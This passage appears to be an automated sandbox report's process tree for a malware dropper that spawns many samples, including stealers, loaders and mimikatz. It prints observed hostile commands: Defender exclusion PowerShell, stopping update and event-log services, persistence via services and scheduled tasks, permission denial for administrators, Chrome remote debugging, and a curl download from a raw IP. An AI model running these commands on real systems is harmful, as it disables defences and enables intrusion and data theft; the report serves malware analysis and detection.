        powershell -Command "Add-MpPreference -ExclusionPath $env:windir; Add-MpPreference -ExclusionPath $env:TEMP; Add-MpPreference -ExclusionPath $env:USERPROFILE"
        8⤵
        Command and Scripting Interpreter: PowerShell
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        
        PID:5960
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop DoSvc & sc stop BITS /wait
        7⤵
        System Location Discovery: System Language Discovery
        
        PID:5800
        
        C:\Windows\SysWOW64\sc.exe
        
        sc stop UsoSvc
        8⤵
        Launches sc.exe
        System Location Discovery: System Language Discovery
        
        PID:4952
        
        C:\Windows\SysWOW64\sc.exe
        
        sc stop WaaSMedicSvc
        8⤵
        Launches sc.exe
        System Location Discovery: System Language Discovery
        
        PID:6096
        
        C:\Windows\SysWOW64\sc.exe
        
        sc stop wuauserv
        8⤵
        Launches sc.exe
        System Location Discovery: System Language Discovery
        
        PID:5992
        
        C:\Windows\SysWOW64\sc.exe
        
        sc stop DoSvc
        8⤵
        Launches sc.exe
        System Location Discovery: System Language Discovery
        
        PID:5384
        
        C:\Windows\SysWOW64\sc.exe
        
        sc stop BITS /wait
        8⤵
        Launches sc.exe
        System Location Discovery: System Language Discovery
        
        PID:6044
        
        C:\Users\Admin\AppData\Local\Temp\556119105.exe
        
        C:\Users\Admin\AppData\Local\Temp\556119105.exe
        7⤵
        
        PID:4844
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c reg delete "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "Windows Upgrade Manager" /f
        8⤵
        
        PID:2092
        
        C:\Windows\system32\reg.exe
        
        reg delete "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "Windows Upgrade Manager" /f
        9⤵
        
        PID:2216
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c schtasks /delete /f /tn "Windows Upgrade Manager"
        8⤵
        
        PID:8100
        
        C:\Windows\system32\schtasks.exe
        
        schtasks /delete /f /tn "Windows Upgrade Manager"
        9⤵
        
        PID:7528
        
        C:\Users\Admin\AppData\Local\Temp\2844210676.exe
        
        C:\Users\Admin\AppData\Local\Temp\2844210676.exe
        7⤵
        
        PID:1296
        
        C:\Users\Admin\AppData\Local\Temp\216715463.exe
        
        C:\Users\Admin\AppData\Local\Temp\216715463.exe
        7⤵
        
        PID:6876
        
        C:\Users\Admin\AppData\Local\Temp\207352392.exe
        
        C:\Users\Admin\AppData\Local\Temp\207352392.exe
        7⤵
        
        PID:7012
    - - C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXE
        
        "C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXE"
        5⤵
        Checks processor information in registry
        Enumerates system info in registry
        Suspicious behavior: AddClipboardFormatListener
        Suspicious use of SetWindowsHookEx
        
        PID:5252
    - - C:\Users\Admin\Desktop\Files\Launcher.exe
        
        "C:\Users\Admin\Desktop\Files\Launcher.exe"
        5⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        Suspicious use of SetWindowsHookEx
        
        PID:5452
    - - C:\Users\Admin\Desktop\Files\Neverlose%20Loader.exe
        
        "C:\Users\Admin\Desktop\Files\Neverlose%20Loader.exe"
        5⤵
        Executes dropped EXE
        
        PID:5664
    - - C:\Users\Admin\Desktop\Files\win.exe
        
        "C:\Users\Admin\Desktop\Files\win.exe"
        5⤵
        Executes dropped EXE
        Adds Run key to start application
        System Location Discovery: System Language Discovery
        
        PID:7516
    - - C:\Users\Admin\Desktop\Files\resex.exe
        
        "C:\Users\Admin\Desktop\Files\resex.exe"
        5⤵
        Executes dropped EXE
        Suspicious use of SetWindowsHookEx
        
        PID:7864
      - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /k move Cover Cover.bat & Cover.bat & exit
        6⤵
        
        PID:8044
        
        C:\Windows\SysWOW64\tasklist.exe
        
        tasklist
        7⤵
        Enumerates processes with tasklist
        System Location Discovery: System Language Discovery
        
        PID:6736
        
        C:\Windows\SysWOW64\findstr.exe
        
        findstr /I "wrsa.exe opssvc.exe"
        7⤵
        System Location Discovery: System Language Discovery
        
        PID:6760
        
        C:\Windows\SysWOW64\tasklist.exe
        
        tasklist
        7⤵
        Enumerates processes with tasklist
        
        PID:6860
        
        C:\Windows\SysWOW64\findstr.exe
        
        findstr /I "avastui.exe avgui.exe bdservicehost.exe ekrn.exe nswscsvc.exe sophoshealth.exe"
        7⤵
        System Location Discovery: System Language Discovery
        
        PID:6880
        
        C:\Windows\SysWOW64\cmd.exe
        
        cmd /c md 377464
        7⤵
        System Location Discovery: System Language Discovery
        
        PID:4484
        
        C:\Windows\SysWOW64\findstr.exe
        
        findstr /V "ComputerPlugScientistsAmazoncom" Oecd
        7⤵
        
        PID:6520
        
        C:\Windows\SysWOW64\cmd.exe
        
        cmd /c copy /b ..\Occur + ..\Leo + ..\Apnic + ..\Collections + ..\Jerry + ..\Agreed + ..\Precision z
        7⤵
        System Location Discovery: System Language Discovery
        
        PID:6284
        
        C:\Users\Admin\AppData\Local\Temp\377464\Reproduction.pif
        
        Reproduction.pif z
        7⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        Suspicious use of SetWindowsHookEx
        
        PID:7016
        
        C:\Windows\SysWOW64\choice.exe
        
        choice /d y /t 5
        7⤵
        
        PID:7064
    - - C:\Users\Admin\Desktop\Files\loader.exe
        
        "C:\Users\Admin\Desktop\Files\loader.exe"
        5⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        Suspicious use of SetWindowsHookEx
        
        PID:7136
      - C:\Users\Admin\AppData\Local\Temp\rhsgn_protected.exe
        
        "C:\Users\Admin\AppData\Local\Temp\rhsgn_protected.exe"
        6⤵
        Executes dropped EXE
        Suspicious use of NtSetInformationThreadHideFromDebugger
        System Location Discovery: System Language Discovery
        Suspicious use of SetWindowsHookEx
        
        PID:2088
        
        C:\Users\Admin\AppData\Local\Temp\ARA.exe
        
        "C:\Users\Admin\AppData\Local\Temp\ARA.exe"
        7⤵
        System Location Discovery: System Language Discovery
        Suspicious use of SetWindowsHookEx
        
        PID:6820
        
        C:\Windows\SysWOW64\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\reviewintobrokerHost\aUs3pwix5Vd1U6IYzTsfZ9E8dEV3MF.vbe"
        8⤵
        System Location Discovery: System Language Discovery
        
        PID:6720
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\reviewintobrokerHost\WJgXY0RCE6WdWGoPyLk7f.bat" "
        9⤵
        
        PID:7984
        
        C:\Users\Admin\AppData\Roaming\reviewintobrokerHost\Msblockreview.exe
        
        "C:\Users\Admin\AppData\Roaming\reviewintobrokerHost\Msblockreview.exe"
        10⤵
        Drops file in Program Files directory
        Drops file in Windows directory
        
        PID:5280
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /C "C:\Users\Admin\AppData\Local\Temp\ABNdhKLsdq.bat"
        11⤵
        
        PID:7280
        
        C:\Windows\system32\w32tm.exe
        
        w32tm /stripchart /computer:localhost /period:5 /dataonly /samples:2
        12⤵
        
        PID:2900
        
        C:\Program Files (x86)\Adobe\Acrobat Reader DC\Resource\chrome.exe
        
        "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Resource\chrome.exe"
        12⤵
        
        PID:6284
    - - C:\Users\Admin\Desktop\Files\client.exe
        
        "C:\Users\Admin\Desktop\Files\client.exe"
        5⤵
        Executes dropped EXE
        
        PID:3044
      - C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "hyperhostvc" /tr '"C:\Users\Admin\AppData\Roaming\hyperhostvc.exe"' & exit
        6⤵
        
        PID:6444
        
        C:\Windows\system32\schtasks.exe
        
        schtasks /create /f /sc onlogon /rl highest /tn "hyperhostvc" /tr '"C:\Users\Admin\AppData\Roaming\hyperhostvc.exe"'
        7⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:680
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmp7073.tmp.bat""
        6⤵
        
        PID:1432
        
        C:\Windows\system32\timeout.exe
        
        timeout 3
        7⤵
        Delays execution with timeout.exe
        
        PID:5036
        
        C:\Users\Admin\AppData\Roaming\hyperhostvc.exe
        
        "C:\Users\Admin\AppData\Roaming\hyperhostvc.exe"
        7⤵
        
        PID:6912
    - - C:\Users\Admin\Desktop\Files\2.exe
        
        "C:\Users\Admin\Desktop\Files\2.exe"
        5⤵
        
        PID:7944
    - - C:\Users\Admin\Desktop\Files\patcher.exe
        
        "C:\Users\Admin\Desktop\Files\patcher.exe"
        5⤵
        
        PID:1944
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c pHash.bat
        6⤵
        
        PID:6452
        
        C:\Windows\system32\curl.exe
        
        curl -o "pHash" "http://144.172.71.105:1338/nova_flow/patcher.exe?hash"
        7⤵
        
        PID:4232
    - - C:\Users\Admin\Desktop\Files\RedSystem.exe
        
        "C:\Users\Admin\Desktop\Files\RedSystem.exe"
        5⤵
        
        PID:6264
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 6264 -s 1260
        6⤵
        Program crash
        
        PID:800
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 6264 -s 1104
        6⤵
        Program crash
        
        PID:5160
    - - C:\Users\Admin\Desktop\Files\8fc809.exe
        
        "C:\Users\Admin\Desktop\Files\8fc809.exe"
        5⤵
        
        PID:4144
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 4144 -s 772
        6⤵
        Program crash
        
        PID:6284
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 4144 -s 820
        6⤵
        Program crash
        
        PID:8372
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 4144 -s 912
        6⤵
        Program crash
        
        PID:10024
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 4144 -s 920
        6⤵
        Program crash
        
        PID:8544
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 4144 -s 920
        6⤵
        Program crash
        
        PID:8852
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 4144 -s 1096
        6⤵
        Program crash
        
        PID:8876
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 4144 -s 1120
        6⤵
        Program crash
        
        PID:8304
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 4144 -s 1152
        6⤵
        Program crash
        
        PID:8816
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 4144 -s 1124
        6⤵
        Program crash
        
        PID:9536
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 4144 -s 1220
        6⤵
        Program crash
        
        PID:9072
      - C:\Users\Admin\AppData\Local\Temp\b739b37d80\Dctooux.exe
        
        "C:\Users\Admin\AppData\Local\Temp\b739b37d80\Dctooux.exe"
        6⤵
        
        PID:3368
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 3368 -s 588
        7⤵
        Program crash
        
        PID:3692
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 3368 -s 596
        7⤵
        Program crash
        
        PID:4004
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 3368 -s 612
        7⤵
        Program crash
        
        PID:5356
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 3368 -s 628
        7⤵
        Program crash
        
        PID:8764
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 3368 -s 768
        7⤵
        Program crash
        
        PID:1824
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 3368 -s 832
        7⤵
        Program crash
        
        PID:2436
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 3368 -s 848
        7⤵
        Program crash
        
        PID:5132
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 3368 -s 924
        7⤵
        Program crash
        
        PID:5452
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 3368 -s 948
        7⤵
        Program crash
        
        PID:9932
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 3368 -s 956
        7⤵
        Program crash
        
        PID:10716
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 3368 -s 924
        7⤵
        Program crash
        
        PID:10284
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 3368 -s 1204
        7⤵
        Program crash
        
        PID:10300
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 3368 -s 1264
        7⤵
        Program crash
        
        PID:9860
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 3368 -s 1428
        7⤵
        Program crash
        
        PID:10140
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 3368 -s 1428
        7⤵
        Program crash
        
        PID:11408
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 3368 -s 1492
        7⤵
        Program crash
        
        PID:11020
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 3368 -s 1592
        7⤵
        Program crash
        
        PID:10008
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 3368 -s 892
        7⤵
        Program crash
        
        PID:11492
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 4144 -s 828
        6⤵
        Program crash
        
        PID:6328
    - - C:\Users\Admin\Desktop\Files\mimikatz.exe
        
        "C:\Users\Admin\Desktop\Files\mimikatz.exe"
        5⤵
        
        PID:11632
    - - C:\Users\Admin\Desktop\Files\AnneSalt.exe
        
        "C:\Users\Admin\Desktop\Files\AnneSalt.exe"
        5⤵
        
        PID:12736
      - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /k move Technique Technique.cmd & Technique.cmd & exit
        6⤵
        
        PID:2164
        
        C:\Windows\SysWOW64\tasklist.exe
        
        tasklist
        7⤵
        Enumerates processes with tasklist
        
        PID:12800
        
        C:\Windows\SysWOW64\findstr.exe
        
        findstr /I "wrsa.exe opssvc.exe"
        7⤵
        
        PID:5492
    - - C:\Users\Admin\Desktop\Files\splwow64_1.exe
        
        "C:\Users\Admin\Desktop\Files\splwow64_1.exe"
        5⤵
        
        PID:6516
      - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c move Emotions Emotions.bat & Emotions.bat
        6⤵
        
        PID:8200
    - - C:\Users\Admin\Desktop\Files\qqq.exe
        
        "C:\Users\Admin\Desktop\Files\qqq.exe"
        5⤵
        
        PID:1412
      - C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe
        
        "C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe"
        6⤵
        
        PID:9812
    - - C:\Users\Admin\Desktop\Files\cccc2.exe
        
        "C:\Users\Admin\Desktop\Files\cccc2.exe"
        5⤵
        
        PID:8744
      - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
        6⤵
        
        PID:9304
    - - C:\Users\Admin\Desktop\Files\build11.exe
        
        "C:\Users\Admin\Desktop\Files\build11.exe"
        5⤵
        
        PID:6768
      - C:\Users\Admin\AppData\Local\Temp\onefile_6768_133762587136173962\stub.exe
        
        C:\Users\Admin\Desktop\Files\build11.exe
        6⤵
        
        PID:5312
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "ver"
        7⤵
        
        PID:11896
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"
        7⤵
        
        PID:4340
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic csproduct get uuid
        8⤵
        
        PID:10768
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "tasklist"
        7⤵
        
        PID:9724
        
        C:\Windows\system32\tasklist.exe
        
        tasklist
        8⤵
        Enumerates processes with tasklist
        
        PID:12212
    - - C:\Users\Admin\Desktop\Files\nurik.exe
        
        "C:\Users\Admin\Desktop\Files\nurik.exe"
        5⤵
        
        PID:1432
      - C:\Users\Admin\Desktop\Files\nurik.exe
        
        "C:\Users\Admin\Desktop\Files\nurik.exe"
        6⤵
        
        PID:7748
    - - C:\Users\Admin\Desktop\Files\newbundle.exe
        
        "C:\Users\Admin\Desktop\Files\newbundle.exe"
        5⤵
        
        PID:12968
    - - C:\Users\Admin\Desktop\Files\gagagggagagag.exe
        
        "C:\Users\Admin\Desktop\Files\gagagggagagag.exe"
        5⤵
        
        PID:8692
    - - C:\Users\Admin\Desktop\Files\sunset1.exe
        
        "C:\Users\Admin\Desktop\Files\sunset1.exe"
        5⤵
        
        PID:11564
    - - C:\Users\Admin\Desktop\Files\1111.exe
        
        "C:\Users\Admin\Desktop\Files\1111.exe"
        5⤵
        
        PID:10036
  - - C:\Users\Admin\Desktop\4363463463464363463463463.exe
      "C:\Users\Admin\Desktop\4363463463464363463463463.exe"
      4⤵
      System Location Discovery: System Language Discovery
      PID:3996
    - - C:\Users\Admin\Desktop\Files\aa.exe
        
        "C:\Users\Admin\Desktop\Files\aa.exe"
        5⤵
        
        PID:6652
    - - C:\Users\Admin\Desktop\Files\11.exe
        
        "C:\Users\Admin\Desktop\Files\11.exe"
        5⤵
        
        PID:7364
      - C:\Windows\sysarddrvs.exe
        
        C:\Windows\sysarddrvs.exe
        6⤵
        
        PID:6708
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -Command "Add-MpPreference -ExclusionPath $env:windir; Add-MpPreference -ExclusionPath $env:TEMP; Add-MpPreference -ExclusionPath $env:USERPROFILE"
        7⤵
        
        PID:3716
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionPath $env:windir; Add-MpPreference -ExclusionPath $env:TEMP; Add-MpPreference -ExclusionPath $env:USERPROFILE"
        8⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:8000
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop DoSvc & sc stop BITS
        7⤵
        
        PID:6556
        
        C:\Windows\SysWOW64\sc.exe
        
        sc stop UsoSvc
        8⤵
        Launches sc.exe
        
        PID:6156
        
        C:\Windows\SysWOW64\sc.exe
        
        sc stop WaaSMedicSvc
        8⤵
        Launches sc.exe
        
        PID:8156
        
        C:\Windows\SysWOW64\sc.exe
        
        sc stop wuauserv
        8⤵
        Launches sc.exe
        
        PID:5208
        
        C:\Windows\SysWOW64\sc.exe
        
        sc stop DoSvc
        8⤵
        Launches sc.exe
        
        PID:2352
        
        C:\Windows\SysWOW64\sc.exe
        
        sc stop BITS
        8⤵
        Launches sc.exe
        
        PID:4040
        
        C:\Users\Admin\AppData\Local\Temp\2405511270.exe
        
        C:\Users\Admin\AppData\Local\Temp\2405511270.exe
        7⤵
        
        PID:10464
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c reg delete "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "Windows Upgrade Manager" /f
        8⤵
        
        PID:10640
        
        C:\Windows\system32\reg.exe
        
        reg delete "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "Windows Upgrade Manager" /f
        9⤵
        
        PID:5396
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c schtasks /delete /f /tn "Windows Upgrade Manager"
        8⤵
        
        PID:4840
        
        C:\Windows\system32\schtasks.exe
        
        schtasks /delete /f /tn "Windows Upgrade Manager"
        9⤵
        
        PID:1372
        
        C:\Users\Admin\AppData\Local\Temp\2462617996.exe
        
        C:\Users\Admin\AppData\Local\Temp\2462617996.exe
        7⤵
        
        PID:2784
        
        C:\Users\Admin\AppData\Local\Temp\240317985.exe
        
        C:\Users\Admin\AppData\Local\Temp\240317985.exe
        7⤵
        
        PID:12128
        
        C:\Users\Admin\AppData\Local\Temp\2877715221.exe
        
        C:\Users\Admin\AppData\Local\Temp\2877715221.exe
        7⤵
        
        PID:12168
    - - C:\Users\Admin\Desktop\Files\Diamotrix.exe
        
        "C:\Users\Admin\Desktop\Files\Diamotrix.exe"
        5⤵
        
        PID:1872
      - C:\Windows\system32\svchost.exe
        
        "C:\Windows\system32\svchost.exe"
        6⤵
        
        PID:6776
      - C:\Windows\system32\msiexec.exe
        
        "C:\Windows\system32\msiexec.exe"
        6⤵
        
        PID:6600
      - C:\Windows\system32\audiodg.exe
        
        "C:\Windows\system32\audiodg.exe"
        6⤵
        
        PID:6496
    - - C:\Users\Admin\Desktop\Files\zzzz1.exe
        
        "C:\Users\Admin\Desktop\Files\zzzz1.exe"
        5⤵
        
        PID:7152
      - C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe
        
        "C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe"
        6⤵
        
        PID:5348
    - - C:\Users\Admin\Desktop\Files\Doublepulsar-1.3.1.exe
        
        "C:\Users\Admin\Desktop\Files\Doublepulsar-1.3.1.exe"
        5⤵
        
        PID:7448
    - - C:\Users\Admin\Desktop\Files\run.exe
        
        "C:\Users\Admin\Desktop\Files\run.exe"
        5⤵
        
        PID:2856
      - C:\Windows\system32\cmd.exe
        
        "C:\Windows\sysnative\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\6439.tmp\643A.tmp\643B.bat C:\Users\Admin\Desktop\Files\run.exe"
        6⤵
        
        PID:5456
        
        C:\Windows\system32\icacls.exe
        
        icacls "C:\ProgramData\GBClientApp\Wallpapers" /deny administrator:(OI)(CI)F /t /c
        7⤵
        Modifies file permissions
        
        PID:6612
        
        C:\Windows\system32\icacls.exe
        
        icacls "C:\ProgramData\GBClientApp\Wallpapers" /deny administrators:(OI)(CI)F /t /c
        7⤵
        Modifies file permissions
        
        PID:1692
        
        C:\Windows\system32\chcp.com
        
        chcp 65001
        7⤵
        
        PID:7804
        
        C:\Windows\system32\attrib.exe
        
        attrib -h "C:\Users\Administrator\Desktop\Google Chrome.exe"
        7⤵
        Views/modifies file attributes
        
        PID:6792
        
        C:\Windows\system32\attrib.exe
        
        attrib -h "C:\Users\Administrator\Desktop\Coc Coc.exe"
        7⤵
        Views/modifies file attributes
        
        PID:6716
        
        C:\Windows\system32\chcp.com
        
        chcp 65001
        7⤵
        
        PID:9716
        
        C:\Windows\system32\schtasks.exe
        
        SchTasks /Delete /TN "\Microsoft\Windows\Task Manager\Interactive" /F
        7⤵
        
        PID:9564
        
        C:\Windows\system32\schtasks.exe
        
        SchTasks /Delete /TN "\Microsoft\Windows\USB\Usb-Notifications" /F
        7⤵
        
        PID:4340
        
        C:\Windows\system32\schtasks.exe
        
        SchTasks /Delete /TN "\Microsoft\Windows\Feedback\Siuf\DmClient" /F
        7⤵
        
        PID:8668
        
        C:\Windows\system32\schtasks.exe
        
        SchTasks /Delete /TN "Fix Getting Devices" /F
        7⤵
        
        PID:6092
        
        C:\Windows\system32\schtasks.exe
        
        SchTasks /Delete /TN "Windows Optimize" /F
        7⤵
        
        PID:9280
        
        C:\Windows\system32\schtasks.exe
        
        SchTasks /Delete /TN "ChangeWallpaper" /F
        7⤵
        
        PID:7592
    - - C:\Users\Admin\Desktop\Files\espsemhvcioff.exe
        
        "C:\Users\Admin\Desktop\Files\espsemhvcioff.exe"
        5⤵
        
        PID:10084
    - - C:\Users\Admin\Desktop\Files\BitcoinCore.exe
        
        "C:\Users\Admin\Desktop\Files\BitcoinCore.exe"
        5⤵
        
        PID:9996
    - - C:\Users\Admin\Desktop\Files\gaozw40v.exe
        
        "C:\Users\Admin\Desktop\Files\gaozw40v.exe"
        5⤵
        
        PID:3584
      - C:\Windows\system32\sc.exe
        
        C:\Windows\system32\sc.exe delete "YIFRWLJF"
        6⤵
        Launches sc.exe
        
        PID:6164
      - C:\Windows\system32\sc.exe
        
        C:\Windows\system32\sc.exe create "YIFRWLJF" binpath= "C:\ProgramData\gaeucrwzinlx\bbwduuyjdzsp.exe" start= "auto"
        6⤵
        Launches sc.exe
        
        PID:10828
      - C:\Windows\system32\sc.exe
        
        C:\Windows\system32\sc.exe stop eventlog
        6⤵
        Launches sc.exe
        
        PID:5688
      - C:\Windows\system32\sc.exe
        
        C:\Windows\system32\sc.exe start "YIFRWLJF"
        6⤵
        Launches sc.exe
        
        PID:6032
    - - C:\Users\Admin\Desktop\Files\ExSync.exe
        
        "C:\Users\Admin\Desktop\Files\ExSync.exe"
        5⤵
        
        PID:11508
      - C:\Users\Admin\AppData\Local\Temp\ExSync.exe
        
        "C:\Users\Admin\AppData\Local\Temp\ExSync.exe" -l "C:\Users\Admin\Desktop\Files\ExSync.exe"
        6⤵
        
        PID:10664
    - - C:\Users\Admin\Desktop\Files\stealc_default2.exe
        
        "C:\Users\Admin\Desktop\Files\stealc_default2.exe"
        5⤵
        
        PID:11992
    - - C:\Users\Admin\Desktop\Files\anne.exe
        
        "C:\Users\Admin\Desktop\Files\anne.exe"
        5⤵
        
        PID:2548
    - - C:\Users\Admin\Desktop\Files\peinf.exe
        
        "C:\Users\Admin\Desktop\Files\peinf.exe"
        5⤵
        
        PID:9768
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 9768 -s 24492
        6⤵
        Program crash
        
        PID:7304
    - - C:\Users\Admin\Desktop\Files\TPB-1.exe
        
        "C:\Users\Admin\Desktop\Files\TPB-1.exe"
        5⤵
        
        PID:11240
      - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9223 --profile-directory="Default"
        6⤵
        Uses browser remote debugging
        
        PID:10112
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=123.0.6312.123 --initial-client-data=0x11c,0x120,0x124,0x118,0x128,0x7ff8f9bbcc40,0x7ff8f9bbcc4c,0x7ff8f9bbcc58
        7⤵
        
        PID:5828
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-appcompat-clear --gpu-preferences=WAAAAAAAAADgAAAMAAAAAAAAAAAAAAAAAABgAAEAAAA4AAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAYAAAAAAAAAAgAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --field-trial-handle=1924,i,9774940444670258403,12290338603977143614,262144 --variations-seed-version=20241115-130113.202000 --mojo-platform-channel-handle=1908 /prefetch:2
        7⤵
        
        PID:12536
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-appcompat-clear --field-trial-handle=1828,i,9774940444670258403,12290338603977143614,262144 --variations-seed-version=20241115-130113.202000 --mojo-platform-channel-handle=2168 /prefetch:3
        7⤵
        
        PID:12188
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=2220,i,9774940444670258403,12290338603977143614,262144 --variations-seed-version=20241115-130113.202000 --mojo-platform-channel-handle=2216 /prefetch:8
        7⤵
        
        PID:12844
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
